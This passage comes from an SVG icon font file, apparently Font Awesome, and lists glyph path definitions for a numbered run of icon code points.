204 <glyph unicode="&#xf0c2;" horiz-adv-x="1920" d="M1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088q-185 0 -316.5 131.5t-131.5 316.5q0 132 71 241.5t187 163.5q-2 28 -2 43q0 212 150 362t362 150q158 0 286.5 -88t187.5 -230q70 62 166 62q106 0 181 -75t75 -181q0 -75 -41 -138q129 -30 213 -134.5t84 -239.5z " />
205 <glyph unicode="&#xf0c3;" horiz-adv-x="1664" d="M1527 88q56 -89 21.5 -152.5t-140.5 -63.5h-1152q-106 0 -140.5 63.5t21.5 152.5l503 793v399h-64q-26 0 -45 19t-19 45t19 45t45 19h512q26 0 45 -19t19 -45t-19 -45t-45 -19h-64v-399zM748 813l-272 -429h712l-272 429l-20 31v37v399h-128v-399v-37z" />
206 <glyph unicode="&#xf0c4;" horiz-adv-x="1792" d="M960 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1260 576l507 -398q28 -20 25 -56q-5 -35 -35 -51l-128 -64q-13 -7 -29 -7q-17 0 -31 8l-690 387l-110 -66q-8 -4 -12 -5q14 -49 10 -97q-7 -77 -56 -147.5t-132 -123.5q-132 -84 -277 -84 q-136 0 -222 78q-90 84 -79 207q7 76 56 147t131 124q132 84 278 84q83 0 151 -31q9 13 22 22l122 73l-122 73q-13 9 -22 22q-68 -31 -151 -31q-146 0 -278 84q-82 53 -131 124t-56 147q-5 59 15.5 113t63.5 93q85 79 222 79q145 0 277 -84q83 -52 132 -123t56 -148 q4 -48 -10 -97q4 -1 12 -5l110 -66l690 387q14 8 31 8q16 0 29 -7l128 -64q30 -16 35 -51q3 -36 -25 -56zM579 836q46 42 21 108t-106 117q-92 59 -192 59q-74 0 -113 -36q-46 -42 -21 -108t106 -117q92 -59 192 -59q74 0 113 36zM494 91q81 51 106 117t-21 108 q-39 36 -113 36q-100 0 -192 -59q-81 -51 -106 -117t21 -108q39 -36 113 -36q100 0 192 59zM672 704l96 -58v11q0 36 33 56l14 8l-79 47l-26 -26q-3 -3 -10 -11t-12 -12q-2 -2 -4 -3.5t-3 -2.5zM896 480l96 -32l736 576l-128 64l-768 -431v-113l-160 -96l9 -8q2 -2 7 -6 q4 -4 11 -12t11 -12l26 -26zM1600 64l128 64l-520 408l-177 -138q-2 -3 -13 -7z" />
207 <glyph unicode="&#xf0c5;" horiz-adv-x="1792" d="M1696 1152q40 0 68 -28t28 -68v-1216q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v288h-544q-40 0 -68 28t-28 68v672q0 40 20 88t48 76l408 408q28 28 76 48t88 20h416q40 0 68 -28t28 -68v-328q68 40 128 40h416zM1152 939l-299 -299h299v299zM512 1323l-299 -299 h299v299zM708 676l316 316v416h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h512v256q0 40 20 88t48 76zM1664 -128v1152h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h896z" />
208 <glyph unicode="&#xf0c6;" horiz-adv-x="1408" d="M1404 151q0 -117 -79 -196t-196 -79q-135 0 -235 100l-777 776q-113 115 -113 271q0 159 110 270t269 111q158 0 273 -113l605 -606q10 -10 10 -22q0 -16 -30.5 -46.5t-46.5 -30.5q-13 0 -23 10l-606 607q-79 77 -181 77q-106 0 -179 -75t-73 -181q0 -105 76 -181 l776 -777q63 -63 145 -63q64 0 106 42t42 106q0 82 -63 145l-581 581q-26 24 -60 24q-29 0 -48 -19t-19 -48q0 -32 25 -59l410 -410q10 -10 10 -22q0 -16 -31 -47t-47 -31q-12 0 -22 10l-410 410q-63 61 -63 149q0 82 57 139t139 57q88 0 149 -63l581 -581q100 -98 100 -235 z" />
209 <glyph unicode="&#xf0c7;" d="M384 0h768v384h-768v-384zM1280 0h128v896q0 14 -10 38.5t-20 34.5l-281 281q-10 10 -34 20t-39 10v-416q0 -40 -28 -68t-68 -28h-576q-40 0 -68 28t-28 68v416h-128v-1280h128v416q0 40 28 68t68 28h832q40 0 68 -28t28 -68v-416zM896 928v320q0 13 -9.5 22.5t-22.5 9.5 h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5zM1536 896v-928q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h928q40 0 88 -20t76 -48l280 -280q28 -28 48 -76t20 -88z" />
210 <glyph unicode="&#xf0c8;" d="M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
211 <glyph unicode="&#xf0c9;" d="M1536 192v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 704v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 1216v-128q0 -26 -19 -45 t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
212 <glyph unicode="&#xf0ca;" horiz-adv-x="1792" d="M384 128q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 640q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5 t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1152q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z M1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
213 <glyph unicode="&#xf0cb;" horiz-adv-x="1792" d="M381 -84q0 -80 -54.5 -126t-135.5 -46q-106 0 -172 66l57 88q49 -45 106 -45q29 0 50.5 14.5t21.5 42.5q0 64 -105 56l-26 56q8 10 32.5 43.5t42.5 54t37 38.5v1q-16 0 -48.5 -1t-48.5 -1v-53h-106v152h333v-88l-95 -115q51 -12 81 -49t30 -88zM383 543v-159h-362 q-6 36 -6 54q0 51 23.5 93t56.5 68t66 47.5t56.5 43.5t23.5 45q0 25 -14.5 38.5t-39.5 13.5q-46 0 -81 -58l-85 59q24 51 71.5 79.5t105.5 28.5q73 0 123 -41.5t50 -112.5q0 -50 -34 -91.5t-75 -64.5t-75.5 -50.5t-35.5 -52.5h127v60h105zM1792 224v-192q0 -13 -9.5 -22.5 t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1123v-99h-335v99h107q0 41 0.5 122t0.5 121v12h-2q-8 -17 -50 -54l-71 76l136 127h106v-404h108zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5 t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
214 <glyph unicode="&#xf0cc;" horiz-adv-x="1792" d="M1760 640q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h1728zM483 704q-28 35 -51 80q-48 97 -48 188q0 181 134 309q133 127 393 127q50 0 167 -19q66 -12 177 -48q10 -38 21 -118q14 -123 14 -183q0 -18 -5 -45l-12 -3l-84 6 l-14 2q-50 149 -103 205q-88 91 -210 91q-114 0 -182 -59q-67 -58 -67 -146q0 -73 66 -140t279 -129q69 -20 173 -66q58 -28 95 -52h-743zM990 448h411q7 -39 7 -92q0 -111 -41 -212q-23 -55 -71 -104q-37 -35 -109 -81q-80 -48 -153 -66q-80 -21 -203 -21q-114 0 -195 23 l-140 40q-57 16 -72 28q-8 8 -8 22v13q0 108 -2 156q-1 30 0 68l2 37v44l102 2q15 -34 30 -71t22.5 -56t12.5 -27q35 -57 80 -94q43 -36 105 -57q59 -22 132 -22q64 0 139 27q77 26 122 86q47 61 47 129q0 84 -81 157q-34 29 -137 71z" />
215 <glyph unicode="&#xf0cd;" d="M48 1313q-37 2 -45 4l-3 88q13 1 40 1q60 0 112 -4q132 -7 166 -7q86 0 168 3q116 4 146 5q56 0 86 2l-1 -14l2 -64v-9q-60 -9 -124 -9q-60 0 -79 -25q-13 -14 -13 -132q0 -13 0.5 -32.5t0.5 -25.5l1 -229l14 -280q6 -124 51 -202q35 -59 96 -92q88 -47 177 -47 q104 0 191 28q56 18 99 51q48 36 65 64q36 56 53 114q21 73 21 229q0 79 -3.5 128t-11 122.5t-13.5 159.5l-4 59q-5 67 -24 88q-34 35 -77 34l-100 -2l-14 3l2 86h84l205 -10q76 -3 196 10l18 -2q6 -38 6 -51q0 -7 -4 -31q-45 -12 -84 -13q-73 -11 -79 -17q-15 -15 -15 -41 q0 -7 1.5 -27t1.5 -31q8 -19 22 -396q6 -195 -15 -304q-15 -76 -41 -122q-38 -65 -112 -123q-75 -57 -182 -89q-109 -33 -255 -33q-167 0 -284 46q-119 47 -179 122q-61 76 -83 195q-16 80 -16 237v333q0 188 -17 213q-25 36 -147 39zM1536 -96v64q0 14 -9 23t-23 9h-1472 q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h1472q14 0 23 9t9 23z" />
216 <glyph unicode="&#xf0ce;" horiz-adv-x="1664" d="M512 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23 v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 160v192 q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192 q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1664 1248v-1088q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1344q66 0 113 -47t47 -113 z" />
217 <glyph unicode="&#xf0d0;" horiz-adv-x="1664" d="M1190 955l293 293l-107 107l-293 -293zM1637 1248q0 -27 -18 -45l-1286 -1286q-18 -18 -45 -18t-45 18l-198 198q-18 18 -18 45t18 45l1286 1286q18 18 45 18t45 -18l198 -198q18 -18 18 -45zM286 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM636 1276 l196 -60l-196 -60l-60 -196l-60 196l-196 60l196 60l60 196zM1566 798l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM926 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98z" />
218 <glyph unicode="&#xf0d1;" horiz-adv-x="1792" d="M640 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM256 640h384v256h-158q-13 0 -22 -9l-195 -195q-9 -9 -9 -22v-30zM1536 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1792 1216v-1024q0 -15 -4 -26.5t-13.5 -18.5 t-16.5 -11.5t-23.5 -6t-22.5 -2t-25.5 0t-22.5 0.5q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-64q-3 0 -22.5 -0.5t-25.5 0t-22.5 2t-23.5 6t-16.5 11.5t-13.5 18.5t-4 26.5q0 26 19 45t45 19v320q0 8 -0.5 35t0 38 t2.5 34.5t6.5 37t14 30.5t22.5 30l198 198q19 19 50.5 32t58.5 13h160v192q0 26 19 45t45 19h1024q26 0 45 -19t19 -45z" />
219 <glyph unicode="&#xf0d2;" d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103q-111 0 -218 32q59 93 78 164q9 34 54 211q20 -39 73 -67.5t114 -28.5q121 0 216 68.5t147 188.5t52 270q0 114 -59.5 214t-172.5 163t-255 63q-105 0 -196 -29t-154.5 -77t-109 -110.5t-67 -129.5t-21.5 -134 q0 -104 40 -183t117 -111q30 -12 38 20q2 7 8 31t8 30q6 23 -11 43q-51 61 -51 151q0 151 104.5 259.5t273.5 108.5q151 0 235.5 -82t84.5 -213q0 -170 -68.5 -289t-175.5 -119q-61 0 -98 43.5t-23 104.5q8 35 26.5 93.5t30 103t11.5 75.5q0 50 -27 83t-77 33 q-62 0 -105 -57t-43 -142q0 -73 25 -122l-99 -418q-17 -70 -13 -177q-206 91 -333 281t-127 423q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
220 <glyph unicode="&#xf0d3;" d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-725q85 122 108 210q9 34 53 209q21 -39 73.5 -67t112.5 -28q181 0 295.5 147.5t114.5 373.5q0 84 -35 162.5t-96.5 139t-152.5 97t-197 36.5q-104 0 -194.5 -28.5t-153 -76.5 t-107.5 -109.5t-66.5 -128t-21.5 -132.5q0 -102 39.5 -180t116.5 -110q13 -5 23.5 0t14.5 19q10 44 15 61q6 23 -11 42q-50 62 -50 150q0 150 103.5 256.5t270.5 106.5q149 0 232.5 -81t83.5 -210q0 -168 -67.5 -286t-173.5 -118q-60 0 -97 43.5t-23 103.5q8 34 26.5 92.5 t29.5 102t11 74.5q0 49 -26.5 81.5t-75.5 32.5q-61 0 -103.5 -56.5t-42.5 -139.5q0 -72 24 -121l-98 -414q-24 -100 -7 -254h-183q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960z" />
221 <glyph unicode="&#xf0d4;" d="M829 318q0 -76 -58.5 -112.5t-139.5 -36.5q-41 0 -80.5 9.5t-75.5 28.5t-58 53t-22 78q0 46 25 80t65.5 51.5t82 25t84.5 7.5q20 0 31 -2q2 -1 23 -16.5t26 -19t23 -18t24.5 -22t19 -22.5t17 -26t9 -26.5t4.5 -31.5zM755 863q0 -60 -33 -99.5t-92 -39.5q-53 0 -93 42.5 t-57.5 96.5t-17.5 106q0 61 32 104t92 43q53 0 93.5 -45t58 -101t17.5 -107zM861 1120l88 64h-265q-85 0 -161 -32t-127.5 -98t-51.5 -153q0 -93 64.5 -154.5t158.5 -61.5q22 0 43 3q-13 -29 -13 -54q0 -44 40 -94q-175 -12 -257 -63q-47 -29 -75.5 -73t-28.5 -95 q0 -43 18.5 -77.5t48.5 -56.5t69 -37t77.5 -21t76.5 -6q60 0 120.5 15.5t113.5 46t86 82.5t33 117q0 49 -20 89.5t-49 66.5t-58 47.5t-49 44t-20 44.5t15.5 42.5t37.5 39.5t44 42t37.5 59.5t15.5 82.5q0 60 -22.5 99.5t-72.5 90.5h83zM1152 672h128v64h-128v128h-64v-128 h-128v-64h128v-160h64v160zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
222 <glyph unicode="&#xf0d5;" horiz-adv-x="1664" d="M735 740q0 -36 32 -70.5t77.5 -68t90.5 -73.5t77 -104t32 -142q0 -90 -48 -173q-72 -122 -211 -179.5t-298 -57.5q-132 0 -246.5 41.5t-171.5 137.5q-37 60 -37 131q0 81 44.5 150t118.5 115q131 82 404 100q-32 42 -47.5 74t-15.5 73q0 36 21 85q-46 -4 -68 -4 q-148 0 -249.5 96.5t-101.5 244.5q0 82 36 159t99 131q77 66 182.5 98t217.5 32h418l-138 -88h-131q74 -63 112 -133t38 -160q0 -72 -24.5 -129.5t-59 -93t-69.5 -65t-59.5 -61.5t-24.5 -66zM589 836q38 0 78 16.5t66 43.5q53 57 53 159q0 58 -17 125t-48.5 129.5 t-84.5 103.5t-117 41q-42 0 -82.5 -19.5t-65.5 -52.5q-47 -59 -47 -160q0 -46 10 -97.5t31.5 -103t52 -92.5t75 -67t96.5 -26zM591 -37q58 0 111.5 13t99 39t73 73t27.5 109q0 25 -7 49t-14.5 42t-27 41.5t-29.5 35t-38.5 34.5t-36.5 29t-41.5 30t-36.5 26q-16 2 -48 2 q-53 0 -105 -7t-107.5 -25t-97 -46t-68.5 -74.5t-27 -105.5q0 -70 35 -123.5t91.5 -83t119 -44t127.5 -14.5zM1401 839h213v-108h-213v-219h-105v219h-212v108h212v217h105v-217z" />
223 <glyph unicode="&#xf0d6;" horiz-adv-x="1920" d="M768 384h384v96h-128v448h-114l-148 -137l77 -80q42 37 55 57h2v-288h-128v-96zM1280 640q0 -70 -21 -142t-59.5 -134t-101.5 -101t-138 -39t-138 39t-101.5 101t-59.5 134t-21 142t21 142t59.5 134t101.5 101t138 39t138 -39t101.5 -101t59.5 -134t21 -142zM1792 384 v512q-106 0 -181 75t-75 181h-1152q0 -106 -75 -181t-181 -75v-512q106 0 181 -75t75 -181h1152q0 106 75 181t181 75zM1920 1216v-1152q0 -26 -19 -45t-45 -19h-1792q-26 0 -45 19t-19 45v1152q0 26 19 45t45 19h1792q26 0 45 -19t19 -45z" />
224 <glyph unicode="&#xf0d7;" horiz-adv-x="1024" d="M1024 832q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
225 <glyph unicode="&#xf0d8;" horiz-adv-x="1024" d="M1024 320q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
226 <glyph unicode="&#xf0d9;" horiz-adv-x="640" d="M640 1088v-896q0 -26 -19 -45t-45 -19t-45 19l-448 448q-19 19 -19 45t19 45l448 448q19 19 45 19t45 -19t19 -45z" />
227 <glyph unicode="&#xf0da;" horiz-adv-x="640" d="M576 640q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19t-19 45v896q0 26 19 45t45 19t45 -19l448 -448q19 -19 19 -45z" />
228 <glyph unicode="&#xf0db;" horiz-adv-x="1664" d="M160 0h608v1152h-640v-1120q0 -13 9.5 -22.5t22.5 -9.5zM1536 32v1120h-640v-1152h608q13 0 22.5 9.5t9.5 22.5zM1664 1248v-1216q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1344q66 0 113 -47t47 -113z" />
229 <glyph unicode="&#xf0dc;" horiz-adv-x="1024" d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45zM1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
230 <glyph unicode="&#xf0dd;" horiz-adv-x="1024" d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
231 <glyph unicode="&#xf0de;" horiz-adv-x="1024" d="M1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
232 <glyph unicode="&#xf0e0;" horiz-adv-x="1792" d="M1792 826v-794q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v794q44 -49 101 -87q362 -246 497 -345q57 -42 92.5 -65.5t94.5 -48t110 -24.5h1h1q51 0 110 24.5t94.5 48t92.5 65.5q170 123 498 345q57 39 100 87zM1792 1120q0 -79 -49 -151t-122 -123 q-376 -261 -468 -325q-10 -7 -42.5 -30.5t-54 -38t-52 -32.5t-57.5 -27t-50 -9h-1h-1q-23 0 -50 9t-57.5 27t-52 32.5t-54 38t-42.5 30.5q-91 64 -262 182.5t-205 142.5q-62 42 -117 115.5t-55 136.5q0 78 41.5 130t118.5 52h1472q65 0 112.5 -47t47.5 -113z" />
233 <glyph unicode="&#xf0e1;" d="M349 911v-991h-330v991h330zM370 1217q1 -73 -50.5 -122t-135.5 -49h-2q-82 0 -132 49t-50 122q0 74 51.5 122.5t134.5 48.5t133 -48.5t51 -122.5zM1536 488v-568h-329v530q0 105 -40.5 164.5t-126.5 59.5q-63 0 -105.5 -34.5t-63.5 -85.5q-11 -30 -11 -81v-553h-329 q2 399 2 647t-1 296l-1 48h329v-144h-2q20 32 41 56t56.5 52t87 43.5t114.5 15.5q171 0 275 -113.5t104 -332.5z" />
234 <glyph unicode="&#xf0e2;" d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5 t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298z" />
235 <glyph unicode="&#xf0e3;" horiz-adv-x="1792" d="M1771 0q0 -53 -37 -90l-107 -108q-39 -37 -91 -37q-53 0 -90 37l-363 364q-38 36 -38 90q0 53 43 96l-256 256l-126 -126q-14 -14 -34 -14t-34 14q2 -2 12.5 -12t12.5 -13t10 -11.5t10 -13.5t6 -13.5t5.5 -16.5t1.5 -18q0 -38 -28 -68q-3 -3 -16.5 -18t-19 -20.5 t-18.5 -16.5t-22 -15.5t-22 -9t-26 -4.5q-40 0 -68 28l-408 408q-28 28 -28 68q0 13 4.5 26t9 22t15.5 22t16.5 18.5t20.5 19t18 16.5q30 28 68 28q10 0 18 -1.5t16.5 -5.5t13.5 -6t13.5 -10t11.5 -10t13 -12.5t12 -12.5q-14 14 -14 34t14 34l348 348q14 14 34 14t34 -14 q-2 2 -12.5 12t-12.5 13t-10 11.5t-10 13.5t-6 13.5t-5.5 16.5t-1.5 18q0 38 28 68q3 3 16.5 18t19 20.5t18.5 16.5t22 15.5t22 9t26 4.5q40 0 68 -28l408 -408q28 -28 28 -68q0 -13 -4.5 -26t-9 -22t-15.5 -22t-16.5 -18.5t-20.5 -19t-18 -16.5q-30 -28 -68 -28 q-10 0 -18 1.5t-16.5 5.5t-13.5 6t-13.5 10t-11.5 10t-13 12.5t-12 12.5q14 -14 14 -34t-14 -34l-126 -126l256 -256q43 43 96 43q52 0 91 -37l363 -363q37 -39 37 -91z" />
236 <glyph unicode="&#xf0e4;" horiz-adv-x="1792" d="M384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM576 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1004 351l101 382q6 26 -7.5 48.5t-38.5 29.5 t-48 -6.5t-30 -39.5l-101 -382q-60 -5 -107 -43.5t-63 -98.5q-20 -77 20 -146t117 -89t146 20t89 117q16 60 -6 117t-72 91zM1664 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 1024q0 53 -37.5 90.5 t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1472 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 384q0 -261 -141 -483q-19 -29 -54 -29h-1402q-35 0 -54 29 q-141 221 -141 483q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
237 <glyph unicode="&#xf0e5;" horiz-adv-x="1792" d="M896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640 q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 174 120 321.5 t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
238 <glyph unicode="&#xf0e6;" horiz-adv-x="1792" d="M704 1152q-153 0 -286 -52t-211.5 -141t-78.5 -191q0 -82 53 -158t149 -132l97 -56l-35 -84q34 20 62 39l44 31l53 -10q78 -14 153 -14q153 0 286 52t211.5 141t78.5 191t-78.5 191t-211.5 141t-286 52zM704 1280q191 0 353.5 -68.5t256.5 -186.5t94 -257t-94 -257 t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224q0 139 94 257t256.5 186.5 t353.5 68.5zM1526 111q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129 q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230q0 -120 -71 -224.5t-195 -176.5z" />
239 <glyph unicode="&#xf0e7;" horiz-adv-x="896" d="M885 970q18 -20 7 -44l-540 -1157q-13 -25 -42 -25q-4 0 -14 2q-17 5 -25.5 19t-4.5 30l197 808l-406 -101q-4 -1 -12 -1q-18 0 -31 11q-18 15 -13 39l201 825q4 14 16 23t28 9h328q19 0 32 -12.5t13 -29.5q0 -8 -5 -18l-171 -463l396 98q8 2 12 2q19 0 34 -15z" />
240 <glyph unicode="&#xf0e8;" horiz-adv-x="1792" d="M1792 288v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320 q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192q0 52 38 90t90 38h512v192h-96q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h320q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-96v-192h512q52 0 90 -38t38 -90v-192h96q40 0 68 -28t28 -68 z" />
241 <glyph unicode="&#xf0e9;" horiz-adv-x="1664" d="M896 708v-580q0 -104 -76 -180t-180 -76t-180 76t-76 180q0 26 19 45t45 19t45 -19t19 -45q0 -50 39 -89t89 -39t89 39t39 89v580q33 11 64 11t64 -11zM1664 681q0 -13 -9.5 -22.5t-22.5 -9.5q-11 0 -23 10q-49 46 -93 69t-102 23q-68 0 -128 -37t-103 -97 q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -28 -17q-18 0 -29 17q-4 6 -14.5 24t-17.5 28q-43 60 -102.5 97t-127.5 37t-127.5 -37t-102.5 -97q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -29 -17q-17 0 -28 17q-4 6 -14.5 24t-17.5 28q-43 60 -103 97t-128 37q-58 0 -102 -23t-93 -69 q-12 -10 -23 -10q-13 0 -22.5 9.5t-9.5 22.5q0 5 1 7q45 183 172.5 319.5t298 204.5t360.5 68q140 0 274.5 -40t246.5 -113.5t194.5 -187t115.5 -251.5q1 -2 1 -7zM896 1408v-98q-42 2 -64 2t-64 -2v98q0 26 19 45t45 19t45 -19t19 -45z" />
